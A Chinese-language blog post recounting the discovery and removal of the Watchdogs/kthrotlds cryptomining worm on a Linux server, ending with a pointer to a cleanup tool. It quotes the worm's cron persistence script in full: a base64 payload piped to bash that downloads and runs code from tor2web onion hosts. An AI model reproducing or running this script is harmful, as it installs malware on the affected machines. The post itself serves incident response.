解决Watchdogs 、kthrotlds 挖矿蠕虫

在最近开发项目部署过程中，发现项目运行缓慢，人员数过多情况下系统卡死。
查看服务器，top命令发现服务器中毒
crontab -l 命令后发现也存在定时调度，打开定时调度文件/root/.systemd-init
发现文件为base64编码，我靠。文件如下：
#!/bin/bash
exec &>/dev/null
sleep 119
echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdSgpIHsKeD0vY3JuCndnZXQgLXQxIC1UMTgwIC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgJDEkeCB8fCBjdXJsIC1tMTgwIC1mc1NMa0EtICQxJHgKfQppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzApL2lvOyB0aGVuCigKdSBpbnRlbGJhZ2pvcDduem01LnRvcjJ3ZWIuaW8gfHwKdSBpbnRlbGJhZ2pvcDduem01LmQyd2ViLm9yZyB8fAp1IGludGVsYmFnam9wN256bTUub25pb24uaW4ubmV0IHx8CnUgaW50ZWxiYWdqb3A3bnptNS5vbmlvbi5nbGFzcyB8fAp1IGludGVsYmFnam9wN256bTUub25pb24ubW4gfHwKdSBpbnRlbGJhZ2pvcDduem01Lm9uaW9uLnNoIHx8CnUgaW50ZWxiYWdqb3A3bnptNS5vbmlvbi50bwopfGJhc2gKZmkK|base64 -d|bash
不要紧，解码看看源码
意思明确，查找文件是否存在，不存在就下载一堆东西到/tmp下面。对于菜鸟的我，直接kill 病毒进程，直接删掉/tmp下的所有内容.crontab -r 删掉定时调度，删掉这个定时文件/root/.systemd-init。但是跟踪了一下，20分钟后又给启动了。
ps -ef 病毒进程，看不到病毒文件所在位置，很困惑，怀疑病毒劫持了ps命令。
折腾很久，百度一下发现这是2019年2月爆发的Watchdogs 、kthrotlds 挖矿蠕虫
git上给出如下解决方案，终于搞定，两个脚本完成，如果在执行脚本中发现不能执行的问题，请用chattr -i 不能执行的文件。
https://github.com/MoreSecLab/DDG_MalWare_Clean_Tool